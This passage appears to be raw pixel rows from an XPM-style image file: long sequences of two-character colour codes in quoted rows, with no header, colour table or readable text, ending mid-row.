%+ &+ *+ =+ -+ ;+ >+ ,+ '+ )+ !+ ~+ {+ ]+ ^+ /+ (+ _+ :+ <+ [+ }+ |+ 1+ 2+ 3+ 4+ 5+ 6+ 7+ 8+ 9+ 0+ a+ b+ c+ d+ e+ f+ g+ h+ i+ j+ k+ l+ m+ m+ m+ n+ o+ p+ q+ r+ s+ r+ t+ u+ v+ w+ x+ y+ z+ A+ B+ C+ D+ E+ F+ G+ H+ I+ J+ K+ L+ M+ N+ O+ P+ Q+ R+ S+ T+ U+ V+ W+ X+ Y+ Z+ `+ @ .@ +@ @@ #@ $@ %@ &@ *@ =@ -@ ;@ >@ ,@ '@ )@ !@ r ~@ {@ ]@ . . . . ", +". . . . ^@ /@ (@ g _@ :@ <@ [@ }@ |@ 1@ 2@ 3@ 4@ 5@ 6@ 7@ 8@ 9@ 0@ a@ b@ c@ d@ e@ f@ g@ h@ i@ j@ k@ l@ m@ n@ o@ p@ q@ r@ s@ t@ u@ v@ w@ x@ y@ z@ A@ B@ C@ D@ E@ F@ G@ H@ I@ J@ K@ L@ M@ N@ O@ P@ Q@ R@ S@ T@ U@ V@ W@ X@ Y@ Z@ `@ # .# C@ +# @# ## $# %# &# *# =# -# ;# ># ,# '# )# !# ~# {# ]# ^# /# (# _# :# <# [# }# |# 1# 2# 3# 4# 5# 6# 7# 8# 9# 0# a# b# c# d# e# f# g# . . . . ", +". . . . h# i# j# g _@ k# l# m# n# o# p# q# r# s# t# u# v# w# x# y# z# A# B# C# D# E# F# G# H# I# J# K# L# M# N# O# P# Q# R# S# T# U# V# W# X# Y# Z# `# $ .$ +$ @$ #$ $$ %$ &$ *$ =$ -$ ;$ >$ ,$ '$ )$ !$ ~$ {$ ]$ ^$ /$ ($ _$ :$ <$ [$ }$ |$ 1$ 2$ 3$ 4$ 5$ 6$ 7$ 8$ 9$ 0$ a$ b$ c$ d$ e$ f$ g$ h$ i$ j$ k$ l$ m$ n$ o$ p$ q$ r$ s$ t$ u$ v$ w$ x$ y$ z$ A$ B$ C$ d# e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F$ G$ H$ I$ J$ K$ L$ M$ N$ t# u# O$ P$ x# y# z# A# Q$ R$ S$ T$ F# G# U$ I# J# V$ L# W$ X$ N# Y$ Q# R# Z$ `$ % .% +% @% #% m@ $% %% &% *% =% -% ;% ;% >% ,% '% )% !% ~% {% ]% ^% /% (% _% :% <% [% }% |% 1% 2% 3% 4% 5% 6% 7% 8% 9% 0% a% b% 0$ a$ c% d% e% f% g% h% i% j% k% l% m% n% o% p% q% r% s% t% u% v% w% x% y% z% A% B% C% D% C$ E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F% G% H% I% I$ J$ K$ L$ s# J% K% v# w# L% x# y# z# A# Q$ R$ S$ T$ F# G# H# I# J# V$ L# W$ X$ N# Y$ P# Q# M% N% O% P% Q% R% S% T% U% V% W% X% Y% Z% Z% `% & .& +& @& #& $& %& && *& =& -& ;& >& ,& '& )& !& ~& {& ]& ^& /& (& _& :& <& [& }& |& 1& 2& 3& 4& 5& 6& 7& 8& 9& 0& a& b& c& d& e& f& g& h& i& j& k& l& m& n& o& p& q& r& s& t& E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# u& v& w& H$ n# x& p# q# r# s# J% K% v# w# L% y& z& A& B& Q$ R$ S$ T$ F# G# U$ I# C& V$ L# W$ M# N# O# Y$ D& E& F& G& H& I& J& K& L& M& N& O& P& P& Q& R& S& T& U& V& W& X& Y& Z& `& * .* +* @* #* $* %* &* ** =* -* ;* >* ,* o@ '* )* !* ~* {* ]* ^* /* (* _* :* <* [* }* |* 1* 2* 3* 4* 5* 6* 7* 8* 9* 0* a* b* c* d* e* f* g* h* i* j* E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# k* l* m* w& H$ n# x& p# L$ M$ s# J% K% v# w# L% y& z& A& A# Q$ R$ S$ E# F# G# U$ I# C& V$ K# L# M# X$ n* o* p* q* r* s* t* u* v* .% w* x* x* y* y* z* A* B* C* D* E* F* G* H* $% I* J* K* q@ L* -* M* N* O* P* Q* R* S* T* U* V* W* X* Y* Z* `* = .= += @= #= $= %= &= *= == -= ;= >= ,= '= )= != ~= {= ]= ^= /= (= _= := <= [= }= |= 1= 2= e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= 4= 5= 6= 7= H% I% 8= J$ K$ L$ M$ N$ t# u# O$ P$ L% y& 9= A& B& 0= R$ D# E# T$ a= U$ H# C& J# V$ L# W$ b= c= d= e= f= g= h= i= j= k= l= m= m= m= n= w* o= p= q= r= s= t= u= v= w= x= y= z= A= B= C= D= E= F= G= H= I= J= K= L= M= N= O= P= Q= R= S= T= U= V= W= X= Y= Z= `= - .- +- @- #- $- %- &- *- =- -- ;- >- ,- '- )- !- ~- {- ]- ^- /- e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (- _- :- <- 7= H% [- 8= J$ K$ L$ M$ N$ t# u# O$ P$ }- |- 1- 2- 3- 4- 5- D# E# 6- 7- G# H# I# C& 8- K# 9- 0- a- b- c- d- e- f- g- h- i- j- k- k- l= l- m- n- o- p- P% q- q- r- s- t- u- v- w- x- y- z- A- B- C- D- E- F- G- H- I- J- K- L- M- N- O- P- Q- R- S- T- Z= U- V- W- X- Y- Z- `- [@ ; .; +; @; #; $; %; &; *; =; -; ;; >; ,; '; ); !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= ~; {; ]; 6= m* w& H$ n# x& p# q# r# M$ N$ ^; /; (; _; :; <; [; }; |; 1; 2; 3; 4; 5; 6; 7; 8; 9; 0; a; b; c; d; e; f; g; h; i; j; k; l; m; m; m; n; o; p; q; r; s; t; u; v; w; x; y; z; A; B; C; D; E; F; G; H; I; J; K; L; M; N; O; P; Q; R; S; T; U; V; W; X; Y; Z; `; > .> +> @> #> $> %> &> *> => -> ;> >> ,> '> )> !> ~> )- {> ]> ^> /> !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (> _> :> ]; 6= m* w& H$ n# x& p# q# <> [> }> |> 1> 2> 3> 4> 5> 6> 7> 8> 9> 0> a> b> c> d> e> f> e> g> h> i> j> k> l> m> n> o> p> o* q> r> s> s> t> u> v> w> x> y> z> s- A> B> C> D> E> F> G> H> I> J> K> L> M> H; N> O> K; P> Q> R> S> T> U> V> W> X> Y> Z> `> , ., +, @, #, $, %, &, *, =, -, ;, >, ,, ', ), !, ~, {, ], ^, /, (, _, :, <, [, D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= }, |, 1, 2, :- 6= 7= w& I% n# o# 3, 4, 5, 6, 7, 8, 9, 0, a, b, c, d, e, f, g, h, i, j, k, l, e@ m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, A, B, C, D, E, F, G, s@ H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Y, Z, `, ' S> .' +' @' #' $' %' &' *' =' -' ;' >' ,' '' )' !' ~' {' ]' ^' /' (' _' :' <' [' }' |' 1' 2' 3' 4' 5' 6' f# E$ . . . . ", +". . . . h# i# j# g _@ 3= 7' 8' 9' 1, 2, :- <- 7= H% I% 0' a' b' c' d' e' f' g' h' i' j' k' l' m' n' o' p' q' r' s' t' u' v' w' x' y' z' A' B' C' D' E' F' G' H' I' I' J' b= K' L' M' N' O' P' Q' R' S' T' U' V' W' X' Y' Z' `' ) .) +) @) #) $) %) %) &) *) =) -) ;) >) ,) ') )) !) ~) {) ]) ^) /) () _) :) <) [) }) c* |) 1) 2) 3) 4) 5) 6) 7) 8) 9) 0) a) b) 4' 5' 6' f# E$ . . . . ", +". . . . h# i# j# g _@ 3= c) d) e) f) g) 2, :- <- 7= h) i) j) k) l) m) n) o) p) q) r) s) t) u) v) w) x) y) z) A) B) C) D) E) F) G) H) I) J) K) L) M) N) O) P) Q) R) S) S) T) T) H' U) A> V) W) X) Y) Z) `) ! .! +! @! #! $! %! &! *! =! -! ;! >! ,! '! )! !! ~! {! ]! ^! .' /! (! _! :! ~ ,~ '~ )~ !~ ~~ {~ ]~ ^~ /~ (~ _~ :~ <~ [~ }~ |~ 1~ 2~ 3~ 4~ 5~ 6~ 7~ 8~ 9~ 0~ a~ b~ c~ d~ e~ f~ g~ h~ i~ j~ k~ l~ m~ n~ o~ p~ q~ r~ s~ t~ u~ [, v~ E$ . . . . ", +". . . . h# i# j# g _@ l! w~ x~ y~ o! e) f) g) z~ A~ B~ C~ D~ E~ F~ G~ H~ I~ J~ K~ L~ M~ g' N~ O~ P~ Q~ R~ S~ T~ U~ V~ W~ X~ Y~ Z~ `~ { .{ +{ @{ #{ ${ %{ &{ *{ ={ -{ ;{ ;{ >{ n@ ,{ '{ ){ !{ ~{ {{ ]{ ^{ /{ ({ _{ :{ <{ [{ }{ |{ 1{ 2{ 3{ 4{ 5{ 6{ 7{ 8{ 9{ 0{ a{ b{ c{ d{ e{ f{ g{ h{ i{ j{ k{ l{ m{ n{ o{ p{ q{ r{ s{ t{ u{ v{ w{ x{ y{ z{ A{ B{ C{ D{ E{ F{ G{ H{ [, f# E$ . . . . ", +". . . . h# i# j# g I{ J{ K{ L{ M{ N{ O{ e) f) g) P{ Q{ R{ S{ T{ U{ V{ W{ X{ Y{ Z{ `{ ] .] +] @] #] $] %] &] *] =] -] ;] >] ,] '] )] !] ~] {] ]] ^] /] (] _] :] <] [] }] |] 1] 2] 3] 4] 5] ~{ {{ ]{ ^{ /{ 6] 7] 8] 9] 0] a] b] c] d] e] f] g] h] i] j] k] l] m] n] o] p] q] r] s] t] u] v] w] x] y] z] A] B] C] D] E] F] G] H] I] J] K] L] M] N] O] P] Q] R] S] T] U] !; D$ E$ . . . . ", +". . . . h# i# j# g I{ J{ V] W] X] M{ N{ O{ e) Y] Z] `] ^ .^ +^ 0) @^ #^ $^ %^ &^ *^ =^ -^ ;^ >^ ,^ '^ )^ Z= !^ ~^ {^ ]^ ^^ /^ (^ _^ :^ <^ [^ }^ |^ 1^ 2^ 3^ 4^ 5^ 6^ 7^ 8^ 9^ 0^ a^ b^ c^ d^ {{ e^ f^ g^ h^ i^ j^ k^ l^ m^ n^ o^ p^ q^ r^ s^ t^ u^ v^ w^ x^ y^ z^ A^ B^ C^ D^ E^ F^ G^ H^ I^ J^ K^ L^ M^ N^ O^ P^ Q^ R^ S^ T^ U^ V^ W^ X^ Y^ Z^ `^ / ./ +/ @/ #/ U] $/ D$ E$ . . . . ", +". . . . h# i# j# g I{ J{ %/ &/ */ X] M{ N{ =/ -/ ;/ >/ ,/ '/ )/ !/ ~/ {/ ]/ ^/ // (/ _/ :/ ( ,( '( )( X] M{ !( ~( {( ]( ^( /( (( _( :( <( [( }( /, |( 1( 2( 3( x! y! 4( 5( O$ 6( 7( 8( 9( 0( a( b( c( d( e( f( g( h( i( j( k( l( m( n( J' o( p( q( r( s( t( m/ %~ t( u( v( w( x( y( z( A( B( C( D( E( F( G( H( I( J( K( L( M( N( O( P( Q( R( S( T( U( V( W( X( Y( Z( `( _ ._ +_ @_ #_ $_ 0) %_ &_ *_ =_ -_ ;_ >_ ,_ '_ )_ !_ ~_ {_ U] $/ D$ E$ . . . . ", +". . . . h# i# j# g ]_ ^_ /_ (_ __ '( )( :_ <_ [_ }_ |_ 1_ 2_ 3_ 4_ 5_ 6_ 7_ 8_ 9_ 0_ a_ b_ c_ d_ x! e_ f_ g_ h_ i_ j_ e^ {{ k_ t( l_ m_ n_ o_ p_ q_ r_ s_ t_ u_ v_ w_ x_ y_ z_ A_ t( B_ C_ D_ E_ F_ G_ H_ I_ J_ K_ L_ M_ N_ x^ O_ P_ P_ Q_ R_ S_ T_ U_ V_ W_ X_ Y_ Z_ `_ : .: +: @: #: $: %: &: *: =: -: ;: >: ,: ': ): !: ~: {: ]: ^: /: (: _: :: <: [: }: |: 1: H{ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ 2: 3: 4: __ '( */ 5: 6: 7: 8: 9: 0: a: b: c: d: e: f: g: h: i: j: k: l: c_ m: n: o: p: q: r: s: t: u: v: w: x: y: z: A: B: C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: K_ V: W: X: Y: Z: `: < .< +< @< #< $< %< &< *< =< -< ;< >< ,< '< +: )< !< ~< {< ]< ^< /< (< _< :< << [< }< |< 1< 2< 3< 4< 5< 6< 7< 8< 9< 0< a< b< c< H{ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ d< e< f< 4: __ g< h< i< j< k< l< m< n< o< p< q< r< s< t< u< v< w< x< y< z< A< B< C< D< v: u: E< F< G< H< I< J< K< L< M< N< O< P< Q< R< S< T< U< V< q( W< X< Y< Z< `< [ .[ +[ @[ #[ $[ %[ >= &[ *[ %[ =[ -[ -[ ;[ >[ ,[ '[ )[ ![ ~[ {[ ][ ^[ /[ ([ J; _[ :[ <[ [[ }[ |[ 1[ 2[ 3[ 4[ 5[ 6[ 7[ d: 8[ 9[ 0[ a[ b[ c[ d[ e[ f[ g[ h[ i[ j[ k[ l[ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ m[ n[ o[ p[ 4: q[ r[ s[ t[ u[ v[ w[ x[ y[ z[ A[ B[ C[ D[ E[ F[ G[ H[ I[ J[ K[ L[ M[ N[ O[ P[ Q[ R[ S[ T[ U[ V[ W[ X[ Y[ Z[ `[ } .} +} @} #} $} %} &} *} =} -} ;} >} ,} '} )} !} ~} {} ]} ^} /} (} _} :} *' <} [} }} |} 1} 2} 3} 4} 5} 6} 7} 8} H; J; 9} 0} a} b} c} d} e} f} g} h} i} j} (( k} l} m} n} o} p} q} r} s} t} u} v} w} x} y} z} 6' f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ A} B} C} o[ f< D} E} F} G} H} I} J} K} L} M} N} O} P} Q} R} B~ S} F[ T} E~ U} V} W} X} Y} E< R[ Z} F< `} | .| +| @| #| $| %| &| *| =| -| ;| . >| ,| '| )| !| ~| {| ]| ^| /| (| _| :| <| [| }| || 1| 2| 3| 4| 5| 6| 7| 8| 9| 0| a| b| c| d| M> e| f| g| h| i| j| k| l| -; m| n| o| p| q| 3_ r| s| t| u| v| w| x| y| z| A| B| C| D| E| F| <, G| f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ H| I| J| C} o[ f< K| L| M| N| O| P| Q| R| S| T| U| V| W| X| Y| Z| `| 1 .1 +1 @1 #1 $1 %1 Q[ &1 Z} F< *1 =1 -1 R: ;1 >1 ,1 '1 )1 !1 ~1 {1 ]1 ^1 /1 (1 _1 :1 <1 G! [1 }1 |1 11 21 31 41 51 61 61 71 81 L> 91 01 a1 b1 c1 d1 e1 f1 g1 h1 i1 j1 L> k1 l1 m1 n1 o1 p1 q1 r1 s1 t1 D) u1 v1 3_ w1 x1 y1 z1 A1 B1 C1 D1 E1 F1 G1 H1 I1 J1 K1 L1 <, G| M1 E$ . . . . ", +". . . . h# i# j# g ]_ N1 O1 P1 Q1 J| C} R1 S1 T1 U1 V1 W1 X1 Y1 Z1 `1 2 .2 +2 @2 #2 $2 %2 &2 *2 =2 -2 ;2 >2 ,2 '2 )2 &1 Z} F< q( !2 ~2 {2 ]2 ^2 /2 (2 _2 :2 <2 $} [2 }2 |2 12 22 32 42 52 62 72 2/ 82 92 K: 02 a2 b2 S' c2 d2 e2 f2 g2 h2 i2 j2 k2 l2 m2 n2 M> o2 p2 M> q2 r2 s2 t2 u2 v2 w2 x2 %_ y2 z2 A2 B2 w1 C2 D2 E2 F2 G2 H2 I2 J2 K2 L2 M2 N2 O2 P2 Q2 R2 <, G| D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 S2 T2 U2 V2 J| W2 R1 X2 Y2 Z2 `2 3 .3 +3 @3 #3 $3 %3 &3 *3 =3 -3 ;3 >3 ,3 '3 )3 !3 K: s: Z} ~3 Z} {3 ]3 ^3 /3 (3 _3 :3 <3 [3 }3 |3 13 23 33 43 53 63 73 83 93 03 a3 b3 c3 d3 e3 f3 g3 h3 i3 j3 k3 l3 I> m3 n3 o3 p3 q3 r3 s3 t3 u3 v3 w3 x3 y3 z3 A3 B3 C3 D3 E3 F3 }< G3 H3 I3 B2 J3 K3 L3 M3 N3 O3 P3 Q3 R3 S3 T3 U3 V3 W3 X3 Y3 Z3 `3 <, G| D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 4 .4 +4 U2 @4 J| C} R1 #4 T1 $4 %4 &4 s[ *4 =4 -4 ;4 >4 ,4 '4 )4 !4 ~4 {4 /, ]4 ^4 /4 (4 _4 :4 <4 [4 }4 |4 14 24 34 44 54 64 74 84 94 04 a4 b4 c4 d4 e4 f4 g4 h4 i4 j4 k4 l4 m4 n4 t( o4 p4 q4 r4 s4 9( @! t( t4 u4 v4 w4 x4 y4 z4 M, A4 B4 C4 D4 E4 F4 G4 H4 I4 d: J4 K4 L4 w1 M4 N4 O4 P4 Q4 R4 S4 T4 U4 V4 W4 X4 Y4 Z4 `4 5 .5 +5 @5 <, 6' D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 #5 $5 %5 +4 &5 @4 *5 W2 =5 o[ -5 ;5 %4 >5 ,5 '5 )5 !5 ~5 {5 ]5 ^5 /5 (5 _5 :5 <5 [5 }5 Q[ :4 |5 Q[ L: 15 25 35 45 55 65 75 85 95 05 a5 b5 c5 d5 e5 f5 g5 h5 i5 j5 k5 l5 m5 n5 o5 p5 q5 r5 s5 t5 u5 v5 w5 e^ x5 y5 z5 A5 `} B5 C5 Q, D5 E5 F5 G5 H5 I5 J5 K5 L5 M5 (( N5 w1 J3 O5 P5 Q5 R5 S5 T5 U5 V5 W5 X5 Y5 Z5 `5 6 .6 +6 @6 #6 $6 %6 l[ [, D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 &6 *6 =6 %5 -6 &5 U2 ;6 >6 ,6 '6 )6 !6 ~6 {6 ]6 ^6 /6 (6 _6 :6 <6 [6 }6 |6 16 26 36 46 56 :4 _4 66 %} 76 86 96 06 a6 b6 c6 d6 e6 f6 04 g6 h6 i6 j6 k6 l6 m6 n6 o6 p6 q6 r6 s6 t6 u6 v6 w6 x6 y6 z6 A6 B6 F< C6 G< D6 E6 F6 G6 H6 M, d| I6 J6 K6 L6 M6 N6 O6 P6 k} Q6 J3 x[ R6 S6 T6 U6 V6 W6 X6 Y6 Z6 `6 7 .7 +7 @7 #7 $7 %7 &7 *7 =7 -7 H{ !; D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 ;7 >7 ,7 =6 %5 -6 &5 U2 '7 )7 !7 ~7 {7 ]7 ^7 /7 (7 _7 :7 <7 [7 }7 |7 17 27 37 47 b2 57 67 :4 <4 F< 77 87 97 07 a7 b7 c7 d7 e7 g^ a5 f7 g7 h7 i7 j7 k7 l7 m7 n7 o7 p7 -, q7 r7 s7 t7 u7 v7 w7 x7 y7 z7 :4 :4 Z} A7 B7 C7 D7 G6 E7 F7 G7 H7 I7 J7 K7 L7 M7 N7 O7 J3 M4 P7 Q7 R7 S7 T7 U7 V7 W7 X7 Y7 Z7 `7 8 .8 +8 @8 #8 $8 %8 &8 *8 =8 -8 U] ;8 D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 ,8 '8 )8 !8 =6 ~8 -6 {8 ]8 ^8 /8 (8 _8 :8 <8 [8 }8 |8 18 28 38 48 58 -4 B2 68 78 88 G< 67 :4 67 98 08 a8 b8 c8 d8 8! e8 f8 05 g8 %} h8 i8 j8 k8 l8 m8 n8 o8 p8 q8 r8 s8 t8 u8 5] U, !{ v8 w8 x8 y8 z8 A8 A8 B8 C8 56 57 D8 B5 M> E8 F8 G8 H8 I8 J8 K8 L8 M8 M4 N8 O8 P8 Q8 R8 S8 T8 U8 V8 W8 X8 Y8 `7 Z8 `8 9 .9 +9 @9 #9 $9 %9 &9 *9 =9 /- e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 -9 ;9 >9 ,9 !8 ,7 '9 )9 !9 ~9 {9 ]9 ^9 /9 (9 _9 :9 <9 [9 }9 |9 19 29 39 49 59 69 79 E< 67 _4 Q[ 89 99 09 a9 b9 c9 d9 e9 f9 g9 h9 i9 j9 k9 l9 m9 n9 o9 p9 q9 r9 s9 t9 u9 v9 w9 x9 y9 z9 A9 05 *1 B9 Z} B8 C9 B8 C8 F< D9 E9 F9 G9 H9 I9 J9 K9 L9 M9 N9 O9 P9 Q9 R9 S9 T9 U9 V9 W9 X9 Y9 Z9 `9 0 .0 +0 @0 #0 $0 %0 &0 *0 =0 -0 ;0 >0 ,0 '0 2= e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 )0 !0 ~0 >9 ,9 !8 {0 ]0 ^0 /0 (0 _0 :0 <0 [0 }0 |0 10 20 30 40 50 60 70 80 90 00 *~ (4 <4 67 E< a0 b0 c0 d0 e0 d: f0 g0 6] y4 q( h0 i0 j0 k0 l0 m0 n0 o0 p0 q0 r0 s0 t0 u0 v0 w0 x0 y0 z0 A0 B0 E< C0 A8 B8 A8 )2 C7 D0 E0 F0 G0 H0 I0 J0 K0 L0 M0 N0 O0 P0 Q0 R0 S0 T0 U0 V0 W0 X0 Y0 Z0 `0 a .a +a @a #a $a %a &a *a =a -a ;a >a ,a 'a 2= e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 )a !a ~a {a ]a ^a /a (a _a :a b ,b 'b )b !b =a ~b {b ]b ^b /b (b E% e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 _b :b c ,c 'c )c !c ~c {c ]c ^c /c (c _c :c d ,d 'd )d !d ~d {d ]d ^d /d (d _d :d e ,e fb 'e )e !e ~e {e ]e ^e ^e /e (e _e :e f ,f 'f )f !f ~f {f ]f ^f /f (f _f :f g ,g 'g )g !g ~g {g ]g ^g A9 /g Nf V' (g _g :g h ,h 'h )h !h ~h {h ]h ^h /h ^h (h _h :h i ,i 'i )i !i ~i {i ]i ^i /i (i _i :i f ai bi ci di ei fi gi hi ii ji ki li mi ni oi pi qi ri si ti 5b ui vi wi xi yi zi Ai Bi Ci Di Ei Fi Gi Hi Ii Ji Ki Li wg ge d# e# D$ E$ . . . . ", +". . . . h# i# j# g Eh Mi Ni Oi Pi Qi Ri Si Ti Ui Vi Wi Xi Yi Zi `i j .j +j @j #j $j %j &j *j =j -j ;j Xg @i s: Pf >j ,j 'j )j !j ~j {j ]j y9 ^j /j (j _j :j k ,k 'k )k !k ~k {k ]k ^k /k 0i @i Pf Pf L: (k _k :k l ,l 'l )l !l ~l {l ]l ^l j /l (l _l :l m ,m 'm )m !m ;l ~m {m ]m ^m /m (m _m :m n ,n Wj %m d# e# D$ E$ . . . . ", +". . . . h# i# j# g &m Mi 'n )n !n ~n {n ]n ^n /n (n _n :n o ,o 'o )o *n !o ~o {o ]o ^o /o (o Wj %m d# e# D$ E$ . . . . ", +". . . . h# i# j# g &m _o :o p ,p 'p )p !p ~p {p ]p ^p /p (p _p :p

    q ,q 'q )q !q ~q {q ]q ^q /q (q _q :q Mq Nq Oq Pq Qq Rq Sq Tq Uq Vq Wq Xq Yq Zq `q r .r +r @r #r $r %r &r *r Hq =r -r ;r >r ,r 'r )r !r ~r {r ]r ^r /r (r _r :r s ,s 's )s !s ~s {s ]s ^s /s =r (s _s :s r @t #t $t %t &t *t =t -t ;t >t ,t 't )t !t ~t {t ]t ^t /t (t _t :t u ,u 'u )u !u ~u {u ]u ^u /u (u _u :u v ,v 'v *u /s )v !v ~v {v ]v ^v /v Pn -t (v _v :v w ,w 'w )w !w ~w {w ]w ^w /w (w _w :w x ,x 'x )x -v !x ~x {x ]x @w ^x /x (x _x :x y ,y 'y nr )y &x !y *x ~y d# e# D$ E$ . . . . ", +". . . . h# i# j# g sr Zv {y ]y ^y /y (y _y :y {x z ,z 'z )z !z ~z {z ]z ^z 'y nr )y /z (z fq ~y d# e# D$ E$ . . . . ", +". . . . h# i# j# g sr Zv _z :z A ,A 'A )A !A ~A {A ]A ^A /A (A -y _A :A B ,B 'B )B !B ~B =z {B ]B ^B /B (B rs _B :B C ,C 'C )C !C ~C {C ]C ^C /C (C _C :C D ,D 'D )D !D ~D {D ]D rs ^D /D (D _D :D x fD gD hD iD jD gB kD lD mD nD oD pD qD rD sD -x tD uD vD wD xD yD zD AD BD CD DD ED FD GD HD ID JD KD LD MD E ,E 'E )E !E /D ~E {E ]E ^E /E (E _E :E F ,F 'F )F !F ~F {F ]F ^F /F (F _F :F G ,G 'G )G !G ~G {G ]G ^G /G (G _G :G H ,H 'H )H !H ~H {H ]H ^H /H (H _H :H I ,I 'I )I !I ~I {I ]I ^I /I (I _I :I J ,J 'J )J !J ~J {J ]J ^J /J (J _J :J K ,K 'K )K =H !K ~K {K ]K ^K /K (K _K :K L ,L 'L )L !L ~L {L `D ]L ^L /L /L (L _L :L M ,M 'M )M .J !M ~M {M 'H ]M .E wF ^M /M (M _M :M N ,N 'N )N !N ~N {N ]N ^N /N (N _N :N O ,O 'O )O !O ~O {M {O ]O ^O [D /O (O _O :O P ,P 'P )P !P ~P {P ]P ^P /P (P _P :P

    Q ,Q 'Q )Q !Q ~Q {Q ]Q ^Q /Q (Q _Q :Q qJ (O R ,R 'R )R !R ~R {R ]R ]R ^R /R (R _R :R S ,S 'S )S ]R _P !S ~S >I {S T ,T 'T )T !T ~T {T ]T ^T /T (T 1S _T bQ :T U ,U 'U )U !U ~U {U ]U ^U /U (U Bu _U 6T Uw :U V ,V 'V )V !V ~V {V ]V ^V /V Bu (V Uw _V :V W ,W 'W )W !W ~W !W )W 1V {W ]W ^W 0T 2U 2U 4V mS mS /W 4U (W yO _W fq rr d# e# D$ E$ . . . . ", +". . . . h# i# } |. :W X ,X fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } |. )X !X ~X {X ]X ^X /X (X _X :X :X Y ,Y 'X d# e# D$ E$ . . . . ", +". . . . h# i# } p 'Y )Y !Y ~Y (A {Y ]Y ^Y /Y (Y _Y :Y Z ,Z 'Z )Z !Z {J {E ~Z {Z ]Z ]O ^Z fV /Z rs (Z _Z :Z sY ` ,` '` '` ,` )` !` ~` {` ]` ^` /` (` _` :` <` [` }` |` 1` 2` 3` rs 4` 5` 6` 7` HP 8` 9` ~J 0` a` xG b` c` d` e` f` g` h` i` j` k` l` m` n` o` p` q` r` s` t` u` v` w` x` y` z` A` B` C` D` E` F` wZ G` #x H` 0 I` J` YX rs a` K` L` M` N` rI O` wP P` Q` @Z @Z #Z ZZ R` R` S` T` `Z *Z U` fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ q V` W` X` rs :Q ~S Y` Y` Z` `` rs .. .+ .@ .# .$ .% .& .$ .* .= .- .; .> ., .' .) .! .~ .{ .] .^ ./ .( ._ .: .< .'` [ .} .| .1 .1 .2 .3 .4 .;G $K rs 5 .6 .7 .8 .9 .0 .a .b .c .d .e .f .rs g .h .i .j .k .l .m .n .o .p .q .)z r .qF 3Y s .t .N` u ..Y .Y aE v .w .x .y .z .rs A .B .C .D .E .F .G .xN uO 4V #Z #Z ZZ H .I .S` `Z J .K .fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ q L .M .N .kQ ;G O .P .Q .R .S .T .U .V .W .X .Y .Z .` .` . .....+..@..#..$..%..&..*..=..-..;..>..,..'..)..tS !..~..{..]..^../..(.._../..:..<..3S [..}..|..rs 1..2..3..4..5..6..7..8..9..0..a..b..c..d..e..f..g..h..i..j..k..l..m..n..o..p..q..r...w s..t..u..v..w..x..y..z..A..B..rs rs Tt C..D..E..F..G..lr xM $Z YZ H..I..I .I .J..K..L..fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ k M..N..O..GO ZT P..P .Q..R..rs xZ S..#T T..U..EO V..W..V..EO X..X .Y..Z..rs `.. +..+.++.@+.#+.$+.%+.&+.*+.=+.-+.;+.>+. E ,+.pS FP BQ '+.)+.!+.~+.{+.,B mQ ]+.rs ^+./+.(+._+.:+.<+.[+.}+.|+.1+.2+.3+.4+.5+.6+.7+.8+.9+.0+.a+.b+.c+.d+.e+._U f+.g+.h+.i+.C` j+.k+.l+.m+.n+.o+.p+.q+.r+.s+.rs rs t+.u+.v+.w+.x+.qG wK &Z H..H..H .I .J..K..L..fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ >Z )X y+.z+.A+.B+.;+.C+.D+.E+.r..F+.G+.(P H+.DO W..I+.I+.V..J+.K+.]R #A L+.M+.N+.O+.P+.Q+.EY R+.rs S+.T+.U+.-+.V+.W+.X+.Y+.Z+.`+. @..@.+@.CP @@.#@.$@.%@.&@.*@.=@.-@.;@.>@.,@.'@.)@.!@.~@.{@.]@.^@./@.(@._@.:@.<@.[@.}@.|@.1@.2@.3@.4@.5@.6@.7@.8@.9@._C 0@.a@.b@.c@.d@.e@.F .bD f@.g@.h@.b` rs rs i@.j@.k@.l@.m@.n@.yK %Z R` H..o@.J..p@.q@.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# i# .` p r@.s@.t@.u@.!+.;+.v@.w@.rs x@.y@.z@.,+.A@.W..B@.I+.C@.EO D@.E@.F@.G@.rs H@.I@.J@.XT K@.C+.rs L@.M@.N@.ZT QV HX O@.P@.Q@.JX )+.R@.EO DN S@.V..T@.U@.V@.W@.X@.Y@.Z@.`@. #..#.+#.@#.##.$#.%#.&#.*#.=#.-#.;#.>#.,#.'#.)#.!#.~#.{#.]#.^#./#.(#._#.:#.<#.8@.[#.}#.|#.1#.aC 2#.3#.4#.}#.5#.6#.7#.8#.Mt rs rs 9#.0#.a#.b#.n@.wJ &Z o@.c#.d#.e#.f#.fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } |. g#.h#.i#.j#.k#.;+.l#.m#.rs 